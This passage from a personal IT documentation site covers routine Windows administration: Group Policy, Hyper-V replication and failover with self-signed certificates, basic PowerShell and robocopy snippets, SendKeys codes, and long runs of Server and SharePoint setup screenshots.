ts to license server](_images/group-policy-point-ts-to-license-server.png) ## Mapped Drives Under *User Configuration*, under *Preferences*, under *Windows Settings*, under *Drive Maps*, do the following: ![group policy mapped drives](_images/group-policy-mapped-drives.png) ## Remote Assistance Under *Computer Configuration*, under *Policies*, under *Administrative Templates*, do the following: ![group policy remote assistance](_images/group-policy-remote-assistance.png) ## WSUS Under *Computer Configuration*, under *Policies*, under *Administrative Templates*, do the following: ![group policy wsus](_images/group-policy-wsus.png) --- # Hyper-V Source: docs/computing/microsoft/hyperv.md URL: https://docs.calebsargeant.com/computing/microsoft/hyperv/ ## Folder Locations ``` powershell Configuration files: C:\ProgramData\Microsoft\Windows\Hyper-V Virtual Hard Disk (VHD) Files: C:\Users\Public\Documents\Hyper-V\Virtual Hard Disks ``` ## Creating a Snapshot A very duh thing to add, but anyway: Go to *Hyper-V Manager*, right click on the VM, click on *Checkpoint*. ![hyperv checkpoint](_images/hyperv-checkpoint-1.png) ## Replication ``` powershell # On the Primary New-SelfSignedCertificate -DnsName "HV01" -CertStoreLocation "cert:\LocalMachine\My" -TestRoot New-SelfSignedCertificate -DnsName "HV02" -CertStoreLocation "cert:\LocalMachine\My" -TestRoot # There will be a cert in Intermediate, copy this to Root certs # Copy the certs to the secondary, import into Personal and Root # On the Replica: reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Virtualization\Replication" /v DisableCertRevocationCheck /d 1 /t REG_DWORD /f ``` ## VM Failover ### Certificate Installation This should already be in place, however, if you are receiving errors, you can set up the connection between the hypervisors again. In the below code, we are creating certificates for HYPERVISOR-02 and HYPERVISOR-01, so that we can enable replication between the two. The below certificates are computer-based certificates. Generating the Root Certificate ``` powershell New-SelfSignedCertificate -Type "Custom" -KeyExportPolicy "Exportable" -Subject "CN=HYPERVISOR-01_to_HYPERVISOR-02-Replication" -CertStoreLocation "Cert:\LocalMachine\My" -KeySpec "Signature" -KeyUsage "CertSign" -NotAfter (Get-Date).AddYears(10) ``` Generating the Cert for HYPERVISOR-02 ``` powershell New-SelfSignedCertificate -type "Custom" -KeyExportPolicy "Exportable" -Subject "CN=HYPERVISOR-01" -CertStoreLocation "Cert:\LocalMachine\My" -KeySpec "KeyExchange" -TextExtension @("2.5.29.37={text}1.3.6.1.5.5.7.3.1,1.3.6.1.5.5.7.3.2") -Signer "Cert:LocalMachine\My\6C435EE329087825553189D38CD29BEC9E124AB0" -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter (Get-Date).AddYears(10) ``` Generating the Cert for HYPERVISOR-01 ``` powershell New-SelfSignedCertificate -Type "Custom" -KeyExportPolicy "Exportable" -Subject "CN=HYPERVISOR-01_to_HYPERVISOR-02-Replication" -CertStoreLocation "Cert:\LocalMachine\My" -KeySpec "Signature" -KeyUsage "CertSign" -NotAfter (Get-Date).AddYears(10) ``` Place this certificate on both hosts in the Personal store. Copy the certificates to the other hypervisor and import the certificates. Note that the root certificate needs to be in the Trusted Root Certification Authorities store and the other certificates need to be in the Personal store. Disable Certificate Revocation Check on the hypervisor, as the certificates are self-signed. ``` bat REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Virtualization\Replication" /v DisableCertRevocationCheck /d 1 /t REG_DWORD /f ``` ### Enabling Replication Right click on the Virtual Machine and click on *Enable Replication...* ![hyperv replication](_images/hyperv-replication-1.png) Specify the Replica Server ![hyperv replication](_images/hyperv-replication-2.png) Specify the Connection Parameters. Select the imported certificate. ![hyperv replication](_images/hyperv-replication-3.png) Accept the defaults and Finish ![hyperv replication](_images/hyperv-replication-4.png) ### Failing Over There are two types of Failovers, as described below. **Planned Failover** A Planned Failover is when the *Primary Virtual Machine* is still online and active, and you would like to make the other hypervisor the host for the virtual machine, or you would like to test that the failover would work. Executing a Planned Failover Power down the Virtual Machine, so that you can failover. On the primary host, right click on the Virtual Machine and click on *Replication \> Planned Failover...* ![hyperv replication](_images/hyperv-replication-5.png) Leave the *Reverse the replication direction after failover* unchecked, because you will receive the below error. ![hyperv replication](_images/hyperv-replication-6.png) Instead, ensure that only *Start the Replica virtual machine after failover* is checked. Click on *Fail Over*. ![hyperv replication](_images/hyperv-replication-7.png) On the secondary host (note that the VM on this host is still the *Replica* or secondary), right click on the Virtual Machine and click on *Replication \> Failover...* This is to complete the failover process. ![hyperv replication](_images/hyperv-replication-8.png) This time you can check both boxes. This will make the secondary host primary, by designating the *Replica* as the *Primary* and vice versa. If you leave the *Reverse the replication direction after failover* checkbox unchecked, you will have to go through the *Reverse Replication Wizard*(right click on the *VM \> Replication \> Reverse Replication...*), which is similar to [Enabling Replication](#enabling-replication). You would leave it unchecked if you want to keep the roles of the VMs the same (*Primary* as Primary and *Replica* as *Replica*). It is to be noted that to get the VM running on the old primary host again (in this case HYPERVISOR-01), you will need to reverse replication. It is, therefore, recommended that you check both boxes. *Reverse Replication* basically switches the roles around. ![hyperv replication](_images/hyperv-replication-9.png) **Unplanned Failover** An unplanned failover is when the hypervisor hosting the *Primary* Virtual Machine becomes unreachable (due to power failure, natural disaster, etc), and you would like to start the *Replica* Virtual Machine to keep the services that the server was running online. An unplanned failover assumes that the primary host is unrecoverable and that the *Primary* Virtual Machine is lost completely. Executing an Unplanned Failover Right click on the *Replica* Virtual Machine, click on *Replication \> Failover...* ![hyperv replication](_images/hyperv-replication-10.png) Read the screen, as it mentions the difference between planned and unplanned failover. Select your recovery point (usually the latest). Click on *Fail Over*. ![hyperv replication](_images/hyperv-replication-11.png) **Post Failover Steps** When the VM has been moved to the secondary host, you will need to change its IP Address (if static) and change the DNS record accordingly. --- # Microsoft Source: docs/computing/microsoft/index.md URL: https://docs.calebsargeant.com/computing/microsoft/ --- # PowerShell Source: docs/computing/microsoft/powershell.md URL: https://docs.calebsargeant.com/computing/microsoft/powershell/ ## For Loop ``` powershell $letterArray = "a","b","c","d" foreach ($letter in $letterArray) { Write-Host $letter } ``` ## Removing Files ``` powershell Remove-Item C:\Test\*.* ``` ## Renaming Files ``` powershell Rename-Item -Path "c:\logfiles\daily_file.txt" -NewName "monday_file.txt" ``` ## Get Date ``` powershell $date = get-date -format yyyymmdd ``` ## Send Email Save the PSCredential in a file: ``` powershell $credential = Get-Credential $credential | Export-CliXml -Path 'C:\My\Path\cred.xml' $credential = Import-CliXml -Path 'C:\My\Path\cred.xml' ``` ``` powershell ############################################################################## $From = "YourEmail@gmail.com" $To = "AnotherEmail@YourDomain.com" $Cc = "YourBoss@YourDomain.com" $Attachment = "C:\temp\Some random file.txt" $Subject = "Email Subject" $Body = "Insert body text here" $SMTPServer = "smtp.gmail.com" $SMTPPort = "587" Send-MailMessage -From $From -to $To -Cc $Cc -Subject $Subject ` -Body $Body -SmtpServer $SMTPServer -port $SMTPPort -UseSsl ` -Credential (Get-Credential) -Attachments $Attachment ############################################################################## ``` ## Random ``` powershell # If error? if ($error.count -ne 0) { Write-Host -ForegroundColor Red "Uh-oh! $MyVar." Write-Host -ForegroundColor White -BackgroundColor Black "The error was:" Write-Host $error[0] Write-Host -ForegroundColor White -BackgroundColor Black "Oh no!" return } # Continue past errors $ErrorActionPreference = 'SilentlyContinue' ``` ## Multipart/form-data ``` powershell # Initiate multipartContent $multipartContent = [System.Net.Http.MultipartFormDataContent]::new() $stringHeader = [System.Net.Http.Headers.ContentDispositionHeaderValue]::new("form-data") $stringHeader.Name = "GivenName" $StringContent = [System.Net.Http.StringContent]::new("Mark") $StringContent.Headers.ContentDisposition = $stringHeader $multipartContent.Add($stringContent) $stringHeader = [System.Net.Http.Headers.ContentDispositionHeaderValue]::new("form-data") $stringHeader.Name = "Surname" $StringContent = [System.Net.Http.StringContent]::new("Kraus") $StringContent.Headers.ContentDisposition = $stringHeader $multipartContent.Add($stringContent) $multipartFile = 'C:\pics\profile.png' $FileStream = [System.IO.FileStream]::new($multipartFile, [System.IO.FileMode]::Open) $fileHeader = [System.Net.Http.Headers.ContentDispositionHeaderValue]::new("form-data") $fileHeader.Name = "ProfilePic" $fileHeader.FileName = 'profile.png' $fileContent = [System.Net.Http.StreamContent]::new($FileStream) $fileContent.Headers.ContentDisposition = $fileHeader $fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("image/png") $multipartContent.Add($fileContent) $multipartFile = 'C:\music\LinkinPark_CrawlingInMySkin.midi' $FileStream = [System.IO.FileStream]::new($multipartFile, [System.IO.FileMode]::Open) $fileHeader = [System.Net.Http.Headers.ContentDispositionHeaderValue]::new("form-data") $fileHeader.Name = "BackGroundMusic" $fileHeader.FileName = 'LinkinPark_CrawlingInMySkin.midi' $fileContent = [System.Net.Http.StreamContent]::new($FileStream) $fileContent.Headers.ContentDisposition = $fileHeader $fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("audio/midi") $multipartContent.Add($fileContent) Invoke-RestMethod -Uri $uri -Body $multipartContent -Method 'POST' ``` --- # Robocopy Source: docs/computing/microsoft/robocopy.md URL: https://docs.calebsargeant.com/computing/microsoft/robocopy/ ``` bat robocopy c:\Sourcepath c:\Destpath /E /XC /XN /XO /XD c:\sourcepath\excludeme :: /E makes Robocopy recursively copy subdirectories, including empty ones. :: /XC excludes existing files with the same timestamp, but different file sizes. Robocopy normally overwrites those. :: /XN excludes existing files newer than the copy in the source directory. Robocopy normally overwrites those. :: /XO excludes existing files older than the copy in the source directory. Robocopy normally overwrites those. :: With the Changed, Older, and Newer classes excluded, Robocopy will exclude files existing in the destination directory. :: /XD excludes a specified directory :: /R:n indicates number of retries on failed copies, such as those encountering on open files. By default RoboCopy retries for 1 million times. :: /W:n indicates the wait time between retries. By default it is 30 seconds. If you want RoboCopy to skip any failed copy quickly, reduce it to lesser amount. :: ( robocopy C:\ D:\ /w:1 /r:1 ) robocopy c:\users\username z:\Backups\username /E /XC /XN /XO /XD robocopy e:\WindowsImageBackup\C2BHV03 \\10.0.0.104\Z\C2BHV03 /MIR /np | tee-object -filepath $backuplog ``` --- # Sendkeys Source: docs/computing/microsoft/sendkeys.md URL: https://docs.calebsargeant.com/computing/microsoft/sendkeys/ Most keys can be represented by the character of the key itself. E.g, the key sequence FRED can be represented simply by "FRED". Some special keys, such as the control keys, function keys etc are encoded in a string enclosed by {braces} See the table below \## TABLE Key SendKey Equivalent Description ~ {~} send a tilde (~) ! {!} send an exclamation point (!) ^ {^} send a caret (^) + {+} send a plus sign (+) Alt {ALT} send an Alt keystroke Backspace {BACKSPACE} send a Backspace keystroke Clear {CLEAR} Clear the field Delete {DELETE} send a Delete keystroke Down Arrow {DOWN} send a Down Arrow keystroke End {END} send an End keystroke Enter {ENTER} send an Enter keystroke Escape {ESCAPE} send an Esc keystroke F1 through F16 {F1} through {F16} send the appropriate Function key Page Down {PGDN} send a Page Down keystroke Space {SPACE} send a Spacebar keystroke Tab {TAB} send a Tab keystroke \## END TABLE To specify keys combined with any combination of SHIFT, CTRL, and ALT keys, precede the key code with one or more of the following: > For SHIFT prefix with + For CTRL prefix with ^ For ALT prefix with % Example ' Open notepad Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.Run "notepad", 9 ' Give Notepad time to load WScript.Sleep 500 'type in Hello World WshShell.SendKeys "Hello World!" WshShell.SendKeys "{ENTER}" --- # Configuration Source: docs/computing/microsoft/server/configuration.md URL: https://docs.calebsargeant.com/computing/microsoft/server/configuration/ A glob of installation and configuration images. ![Diagram](_images/server2012-install-and-config/1.png) ![Diagram](_images/server2012-install-and-config/2.png) ![Diagram](_images/server2012-install-and-config/3.png) ![Diagram](_images/server2012-install-and-config/4.png) ![Diagram](_images/server2012-install-and-config/5.png) ![Diagram](_images/server2012-install-and-config/6.png) ![Diagram](_images/server2012-install-and-config/7.png) ![Diagram](_images/server2012-install-and-config/8.png) ![Diagram](_images/server2012-install-and-config/9.png) ![Diagram](_images/server2012-install-and-config/10.png) ![Diagram](_images/server2012-install-and-config/11.png) ![Diagram](_images/server2012-install-and-config/12.png) ![Diagram](_images/server2012-install-and-config/13.png) ![Diagram](_images/server2012-install-and-config/14.png) ![Diagram](_images/server2012-install-and-config/15.png) ![Diagram](_images/server2012-install-and-config/16.png) ![Diagram](_images/server2012-install-and-config/17.png) ![Diagram](_images/server2012-install-and-config/18.png) ![Diagram](_images/server2012-install-and-config/19.png) ![Diagram](_images/server2012-install-and-config/20.png) ![Diagram](_images/server2012-install-and-config/21.png) ![Diagram](_images/server2012-install-and-config/22.png) ![Diagram](_images/server2012-install-and-config/23.png) ![Diagram](_images/server2012-install-and-config/24.png) ![Diagram](_images/server2012-install-and-config/25.png) ![Diagram](_images/server2012-install-and-config/26.png) ![Diagram](_images/server2012-install-and-config/27.png) ![Diagram](_images/server2012-install-and-config/28.png) ![Diagram](_images/server2012-install-and-config/29.png) ![Diagram](_images/server2012-install-and-config/30.png) ![Diagram](_images/server2012-install-and-config/31.png) ![Diagram](_images/server2012-install-and-config/32.png) ![Diagram](_images/server2012-install-and-config/33.png) ![Diagram](_images/server2012-install-and-config/34.png) ![Diagram](_images/server2012-install-and-config/35.png) ![Diagram](_images/server2012-install-and-config/36.png) ![Diagram](_images/server2012-install-and-config/37.png) ![Diagram](_images/server2012-install-and-config/38.png) ![Diagram](_images/server2012-install-and-config/39.png) ![Diagram](_images/server2012-install-and-config/40.png) ![Diagram](_images/server2012-install-and-config/41.png) ![Diagram](_images/server2012-install-and-config/42.png) ![Diagram](_images/server2012-install-and-config/43.png) ![Diagram](_images/server2012-install-and-config/44.png) ![Diagram](_images/server2012-install-and-config/45.png) ![Diagram](_images/server2012-install-and-config/46.png) ![Diagram](_images/server2012-install-and-config/47.png) ![Diagram](_images/server2012-install-and-config/48.png) ![Diagram](_images/server2012-install-and-config/49.png) ![Diagram](_images/server2012-install-and-config/50.png) ![Diagram](_images/server2012-install-and-config/51.png) ![Diagram](_images/server2012-install-and-config/52.png) ![Diagram](_images/server2012-install-and-config/53.png) ![Diagram](_images/server2012-install-and-config/54.png) ![Diagram](_images/server2012-install-and-config/55.png) ![Diagram](_images/server2012-install-and-config/56.png) ![Diagram](_images/server2012-install-and-config/57.png) ![Diagram](_images/server2012-install-and-config/58.png) ![Diagram](_images/server2012-install-and-config/59.png) ![Diagram](_images/server2012-install-and-config/60.png) ![Diagram](_images/server2012-install-and-config/61.png) ![Diagram](_images/server2012-install-and-config/62.png) ![Diagram](_images/server2012-install-and-config/63.png) ![Diagram](_images/server2012-install-and-config/64.png) ![Diagram](_images/server2012-install-and-config/65.png) ![Diagram](_images/server2012-install-and-config/66.png) ![Diagram](_images/server2012-install-and-config/67.png) ![Diagram](_images/server2012-install-and-config/68.png) ![Diagram](_images/server2012-install-and-config/69.png) ![Diagram](_images/server2012-install-and-config/70.png) ![Diagram](_images/server2012-install-and-config/71.png) ![Diagram](_images/server2012-install-and-config/72.png) ![Diagram](_images/server2012-install-and-config/73.png) ![Diagram](_images/server2012-install-and-config/74.png) ![Diagram](_images/server2012-install-and-config/75.png) ![Diagram](_images/server2012-install-and-config/76.png) ![Diagram](_images/server2012-install-and-config/77.png) ![Diagram](_images/server2012-install-and-config/78.png) ![Diagram](_images/server2012-install-and-config/79.png) ![Diagram](_images/server2012-install-and-config/80.png) ![Diagram](_images/server2012-install-and-config/81.png) ![Diagram](_images/server2012-install-and-config/82.png) ![Diagram](_images/server2012-install-and-config/83.png) ![Diagram](_images/server2012-install-and-config/84.png) ![Diagram](_images/server2012-install-and-config/85.png) ![Diagram](_images/server2012-install-and-config/86.png) ![Diagram](_images/server2012-install-and-config/87.png) ![Diagram](_images/server2012-install-and-config/88.png) ![Diagram](_images/server2012-install-and-config/89.png) ![Diagram](_images/server2012-install-and-config/90.png) ![Diagram](_images/server2012-install-and-config/91.png) ![Diagram](_images/server2012-install-and-config/92.png) ![Diagram](_images/server2012-install-and-config/93.png) ![Diagram](_images/server2012-install-and-config/94.png) ![Diagram](_images/server2012-install-and-config/95.png) ![Diagram](_images/server2012-install-and-config/96.png) ![Diagram](_images/server2012-install-and-config/97.png) ![Diagram](_images/server2012-install-and-config/98.png) ![Diagram](_images/server2012-install-and-config/99.png) ![Diagram](_images/server2012-install-and-config/100.png) ![Diagram](_images/server2012-install-and-config/101.png) ![Diagram](_images/server2012-install-and-config/102.png) ![Diagram](_images/server2012-install-and-config/103.png) ![Diagram](_images/server2012-install-and-config/104.png) ![Diagram](_images/server2012-install-and-config/105.png) ![Diagram](_images/server2012-install-and-config/106.png) ![Diagram](_images/server2012-install-and-config/107.png) ![Diagram](_images/server2012-install-and-config/108.png) ![Diagram](_images/server2012-install-and-config/109.png) ![Diagram](_images/server2012-install-and-config/110.png) ![Diagram](_images/server2012-install-and-config/111.png) ![Diagram](_images/server2012-install-and-config/112.png) ![Diagram](_images/server2012-install-and-config/113.png) ![Diagram](_images/server2012-install-and-config/114.png) ![Diagram](_images/server2012-install-and-config/115.png) ![Diagram](_images/server2012-install-and-config/116.png) ![Diagram](_images/server2012-install-and-config/117.png) ![Diagram](_images/server2012-install-and-config/118.png) ![Diagram](_images/server2012-install-and-config/119.png) ![Diagram](_images/server2012-install-and-config/120.png) ![Diagram](_images/server2012-install-and-config/121.png) ![Diagram](_images/server2012-install-and-config/122.png) ![Diagram](_images/server2012-install-and-config/123.png) ![Diagram](_images/server2012-install-and-config/124.png) ![Diagram](_images/server2012-install-and-config/125.png) ![Diagram](_images/server2012-install-and-config/126.png) ![Diagram](_images/server2012-install-and-config/127.png) ![Diagram](_images/server2012-install-and-config/128.png) ![Diagram](_images/server2012-install-and-config/129.png) ![Diagram](_images/server2012-install-and-config/130.png) ![Diagram](_images/server2012-install-and-config/131.png) ![Diagram](_images/server2012-install-and-config/132.png) ![Diagram](_images/server2012-install-and-config/133.png) ![Diagram](_images/server2012-install-and-config/134.png) ![Diagram](_images/server2012-install-and-config/135.png) ![Diagram](_images/server2012-install-and-config/136.png) ![Diagram](_images/server2012-install-and-config/137.png) ![Diagram](_images/server2012-install-and-config/138.png) ![Diagram](_images/server2012-install-and-config/139.png) ![Diagram](_images/server2012-install-and-config/140.png) ![Diagram](_images/server2012-install-and-config/141.png) ![Diagram](_images/server2012-install-and-config/142.png) ![Diagram](_images/server2012-install-and-config/143.png) ![Diagram](_images/server2012-install-and-config/144.png) ![Diagram](_images/server2012-install-and-config/145.png) ![Diagram](_images/server2012-install-and-config/146.png) ![Diagram](_images/server2012-install-and-config/147.png) ![Diagram](_images/server2012-install-and-config/148.png) ![Diagram](_images/server2012-install-and-config/149.png) ![Diagram](_images/server2012-install-and-config/150.png) ![Diagram](_images/server2012-install-and-config/151.png) ![Diagram](_images/server2012-install-and-config/152.png) ![Diagram](_images/server2012-install-and-config/153.png) ![Diagram](_images/server2012-install-and-config/154.png) ![Diagram](_images/server2012-install-and-config/155.png) ![Diagram](_images/server2012-install-and-config/156.png) --- # Server Source: docs/computing/microsoft/server/index.md URL: https://docs.calebsargeant.com/computing/microsoft/server/ --- # Terminal Services Source: docs/computing/microsoft/server/terminal-services.md URL: https://docs.calebsargeant.com/computing/microsoft/server/terminal-services/ ) ## Add a TS to TS License Server ![terminal server](_images/terminal-server-1.png) ![terminal server](_images/terminal-server-2.png) ## Add TS to TSBroker Farm ![terminal server](_images/terminal-server-3.png) ![terminal server](_images/terminal-server-4.png) ![terminal server](_images/terminal-server-5.png) ![terminal server](_images/terminal-server-6.png) ![terminal server](_images/terminal-server-7.png) ![terminal server](_images/terminal-server-8.png) --- # Configuration Source: docs/computing/microsoft/sharepoint/configuration.md URL: https://docs.calebsargeant.com/computing/microsoft/sharepoint/configuration/ A glob of installation and configuration images. ## Example 1 ![Diagram](_images/install/1.png) ![Diagram](_images/install/2.png) ![Diagram](_images/install/3.png) ![Diagram](_images/install/4.png) ![Diagram](_images/install/5.png) ![Diagram](_images/install/6.png) ![Diagram](_images/install/7.png) ![Diagram](_images/install/8.png) ![Diagram](_images/install/9.png) ![Diagram](_images/install/10.png) ![Diagram](_images/install/11.png) ![12.](_images/install/12.1.png) ![12.](_images/install/12.2.png) ![12.](_images/install/12.3.png) ![12.](_images/install/12.4.png) ![12.](_images/install/12.5.png) ![12.](_images/install/12.6.png) ![12.](_images/install/12.7.png) ![12.](_images/install/12.8.png) ![12.](_images/install/12.9.png) ![12.](_images/install/12.10.png) ![12.](_images/install/12.11.png) ![12.](_images/install/12.12.png) ![12.](_images/install/12.13.png) ![12.](_images/install/12.14.png) ![12.](_images/install/12.15.png) ![12.](_images/install/12.16.png) ![12.](_images/install/12.17.png) ![12.](_images/install/12.18.png) ![12.](_images/install/12.19.png) ![12.](_images/install/12.20.png) ![12.](_images/install/12.21.png) ![12.](_images/install/12.22.png) ![12.](_images/install/12.23.png) ![12.](_images/install/12.24.png) ![12.](_images/install/12.25.png) ![12.](_images/install/12.26.png) ![12.](_images/install/12.27.png) ![12.](_images/install/12.28.png) ![13.](_images/install/13.1.png) ![13.](_images/install/13.2.png) ![13.](_images/install/13.3.png) ![13.4.](_images/install/13.4.1.png) ![13.4.](_images/install/13.4.2.png) ![13.](_images/install/13.5.png) ![13.](_images/install/13.6.png) ![13.](_images/install/13.7.png) ![13.](_images/install/13.8.png) ![13.](_images/install/13.9.png) ![13.](_images/install/13.10.png) ![13.](_images/install/13.11.png) ![13.](_images/install/13.12.png) ![13.](_images/install/13.13.png) ![13.](_images/install/13.14.png) ![13.](_images/install/13.15.png) ![13.](_images/install/13.16.png) ![13.](_images/install/13.17.png) ![13.](_images/install/13.18.png) ![13.](_images/install/13.19.png) ![13.](_images/install/13.20.png) ![13.](_images/install/13.21.png) ![13.](_images/install/13.22.png) ![13.](_images/install/13.23.png) ![13.](_images/install/13.24.png) ![13.](_images/install/13.25.png) ![13.](_images/install/13.26.png) ![13.](_images/install/13.27.png) ![13.](_images/install/13.28.png) ![13.](_images/install/13.29.png) ![14.](_images/install/14.1.png) ![14.](_images/install/14.2.png) ![14.](_images/install/14.3.png) ![14.](_images/install/14.4.png) ![14.](_images/install/14.5.png) ![14.](_images/install/14.6.png) ![14.](_images/install/14.7.png) ![14.](_images/install/14.8.png) ![14.](_images/install/14.9.png) ![14.](_images/install/14.10.png) ![14.](_images/install/14.11.png) ![14.](_images/install/14.12.png) ![14.](_images/install/14.13.png) ![14.](_images/install/14.14.png) ![14.](_images/install/14.15.png) ![14.](_images/install/14.16.png) ![14.](_images/install/14.17.png) ![14.](_images/install/14.18.png) ![14.](_images/install/14.19.png) ![14.](_images/install/14.20.png) ![14.](_images/install/14.21.png) ![14.](_images/install/14.22.png) ![14.](_images/install/14.23.png) ![14.](_images/install/14.24.png) ![14.](_images/install/14.25.png) ![14.](_images/install/14.26.png) ![14.](_images/install/14.27.png) ![14.](_images/install/14.28.png) ![14.](_images/install/14.29.png) ![14.](_images/install/14.30.png) ![14.](_images/install/14.31.png) ![14.](_images/install/14.32.png) ![14.](_images/install/14.33.png) ![14.](_images/install/14.34.png) ![14.](_images/install/14.35.png) ![14.](_images/install/14.36.png) ![14.](_images/install/14.37.png) ![14.](_images/install/14.38.png) ![14.](_images/install/14.39.png) ![14.](_images/install/14.40.png) ![14.](_images/install/14.41.png) ![14.](_images/install/14.42.png) ![14.](_images/install/14.43.png) ![14.](_images/install/14.44.png) ![14.](_images/install/14.45.png) ![14.](_images/install/14.46.png) ![14.](_images/install/14.47.png) ![14.](_images/install/14.48.png) ![14.](_images/install/14.49.png) ![15.](_images/install/15.1.png) ![15.](_images/install/15.2.png) ![15.](_images/install/15.3.png) ![15.](_images/install/15.4.png) ![15.](_images/install/15.5.png) ![15.](_images/install/15.6.png) ![Diagram](_images/install/16.png) ![Diagram](_images/install/17.png) ![Diagram](_images/install/18.png) ![Diagram](_images/install/19.png) ![Diagram](_images/install/20.png) ![Diagram](_images/install/21.png) ![Diagram](_images/install/22.png) ![Diagram](_images/install/23.png) ![Diagram](_images/install/24.png) ## Example 2 ![Diagram](_images/config/1.png) ![Diagram](_images/config/2.png) ![Diagram](_images/config/3.png) ![Diagram](_images/config/4.png) ![Diagram](_images/config/5.png) ![Diagram](_images/config/6.png) ![Diagram](_images/config/7.png) ![Diagram](_images/config/9.png) ![Diagram](_images/config/10.png) ![Diagram](_images/config/11.png) ![Diagram](_images/config/12.png) ![Diagram](_images/config/13.png) ![Diagram](_images/config/14.png) ![Diagram](_images/config/15.png) ![Diagram](_images/config/16.png) ![Diagram](_images/config/17.png) ![Diagram](_images/config/18.png) ![Diagram](_images/config/19.png) ![Diagram](_images/config/20.png) ![Diagram](_images/config/21.png) ![Diagram](_images/config/22.png) ![Diagram](_images/config/23.png) ![Diagram](_images/config/24.png) ![Diagram](_images/config/25.png) ![Diagram](_images/config/26.png) ![Diagram](_images/config/27.png) ![Diagram](_images/config/28.png) ![Diagram](_images/config/29.png) ![Diagram](_images/config/30.png) ![Diagram](_images/config/31.png) ![Diagram](_images/config/32.png) ![Diagram](_images/config/33.png) ![Diagram](_images/config/34.png) ![Diagram](_images/config/35.png) ![Diagram](_images/config/36.png) ![Diagram](_images/config/37.png) ![Diagram](_images/config/38.png) ![Diagram](_images/config/39.png) ![Diagram](_images/config/40.png) ![Diagram](_images/config/41.png) ![Diagram](_images/config/42.png) ![Diagram](_images/config/43.png) ![Diagram](_images/config/44.png) ![Diagram](_images/config/45.png) ![Diagram](_images/config/46.png) ![Diagram](_images/config/47.png) ![Diagram](_images/config/48.png) ![Diagram](_images/config/49.png) ![Diagram](_images/config/50.png) ![Diagram](_images/config/51.png) ![Diagram](_images/config/52.png) ![Diagram](_images/config/53.png) ![Diagram](_images/config/54.png) ![Diagram](_images/config/55.png) ![Diagram](_images/config/56.png) ![Diagram](_images/config/57.png) ![Diagram](_images/config/58.png) ![Diagram](_images/config/59.png) ![Diagram](_images/config/60.png) ![Diagram](_images/config/61.png) ![Diagram](_images/config/62.png) ![Diagram](_images/config/63.png) ![Diagram](_images/config/64.png) ![Diagram](_images/config/65.png) ![Diagram](_images/config/66.png) ![Diagram](_images/config/67.png) ![Diagram](_images/config/68.png) ![Diagram](_images/config/69.png) ![Diagram](_images/config/70.png) ![Diagram](_images/config/71.png) ![Diagram](_images/config/72.png) ![Diagram](_images/config/73.png) ![Diagram](_images/config/74.png) ![Diagram](_images/config/75.png) ![Diagram](_images/config/76.png) ![Diagram](_images/config/77.png) ![Diagram](_images/config/78.png) ![Diagram](_images/config/79.png) ![Diagram](_images/config/80.png) ![Diagram](_images/config/81.png) ![Diagram](_images/config/82.png) ![Diagram](_images/config/83.png) ![Diagram](_images/config/84.png) ![Diagram](_images/config/85.png) ![Diagram](_images/config/86.png) ![Diagram](_images/config/87.png) ![Diagram](_images/config/88.png) ![Diagram](_images/config/89.png) ## Example 3 ![Diagram](_images/admin/1.png) ![Diagram](_images/admin/2.png) ![Diagram](_images/admin/3.png) ![Diagram](_images/admin/4.png) ![Diagram](_images/admin/5.png) ![Diagram](_images/admin/6.png) ![Diagram](_images/admin/7.png) ![Diagram](_images/admin/8.png) ![Diagram](_images/admin/9.png) ![Diagram](_images/admin/10.png) ![Diagram](_images/admin/11.png) ![Diagram](_images/admin/12.png) ![Diagram](_images/admin/13.png) ![Diagram](_images/admin/14.png) ![Diagram](_images/admin/15.png) ![Diagram](_images/admin/16.png) ![Diagram](_images/admin/17.png) ![Diagram](_images/admin/18.png) ![Diagram](_images/admin/19.png) ![Diagram](_images/admin/20.png) ![Diagram](_images/admin/21.png) ![Diagram](_images/admin/22.png) ![Diagram](_images/admin/23.png) ![Diagram](_images/admin/24.png) ![Diagram](_images/admin/25.png) ![Diagram](_images/admin/26.png) ![Diagram](_images/admin/27.png) ![Diagram](_images/admin/28.png) ![Diagram](_images/admin/29.png) ![Diagram](_images/admin/30.png) ![Diagram](_images/admin/31.png) ![Diagram](_images/admin/32.png) ![Diagram](_images/admin/33.png) ![Diagram](_images/admin/34.png) ![Diagram](_images/admin/35.png) ![Diagram](_images/admin/36.png) ![Diagram](_images/admin/37.png) ![Diagram](_images/admin/38.png) ![Diagram](_images/admin/39.png) ![Diagram](_images/admin/40.png) ![Diagram](_images/admin/41.png) ![Diagram](_images/admin/42.png) ![Diagram](_images/admin/43.png) ![Diagram](_images/admin/44.png) ![Diagram](_images/admin/45.png) ![Diagram](_images/admin/46.png) ![Diagram](_images/admin/47.png) ![Diagram](_images/admin/48.png) ![Diagram](_images/admin/49.png) ![Diagram](_images/admin/50.png) ![Diagram](_images/admin/51.png) ![Diagram](_images/admin/52.png) ![Diagram](_images/admin/53.png) ![Diagram](_images/admin/54.png) ![Diagram](_images/admin/55.png) ![Diagram](_images/admin/56.png) ![Diagram](_images/admin/57.png) ![Diagram](_images/admin/58.png) ![Diagram](_images/admin/59.png) ![Diagram](_images/admin/60.png) ![Diagram](_images/admin/61.png) ![Diagram](_images/admin/62.png) ![Diagram](_images/admin/63.png) ![Diagram](_images/admin/64.png) ![Diagram](_images/admin/65.png) ![Diagram](_images/admin/66.png) ![Diagram](_images/admin/67.png) ![Diagram](_images/admin/68.png) ![Diagram](_images/admin/69.png) ![Diagram](_images/admin/70.png) ![Diagram](_images/admin/71.png) ![Diagram](_images/admin/72.png) ![Diagram](_images/admin/73.png) ![Diagram](_images/admin/74.png) ![Diagram](_images/admin/75.png) ![Diagram](_images/admin/76.png) ![Diagram](_images/admin/77.png) ![Diagram](_images/admin/78.png) ![Diagram](_images/admin/79.png) ![Diagram](_images/admin/80.png) ![Diagram](_images/admin/81.png) ![Diagram](_images/admin/82.png) ![Diagram](_images/admin/83.png) ![Diagram](_images/admin/84.png) ## Example 4 ![Diagram](_images/email/1.png) ![Diagram](_images/email/2.png) ![Diagram](_images/email/3.png) ![Diagram](_images/email/4.png) ![Diagram](_images/email/5.png) ![Diagram](_images/email/6.png) ![Diagram](_images/email/7.png) ![Diagram](_images/email/8.png) 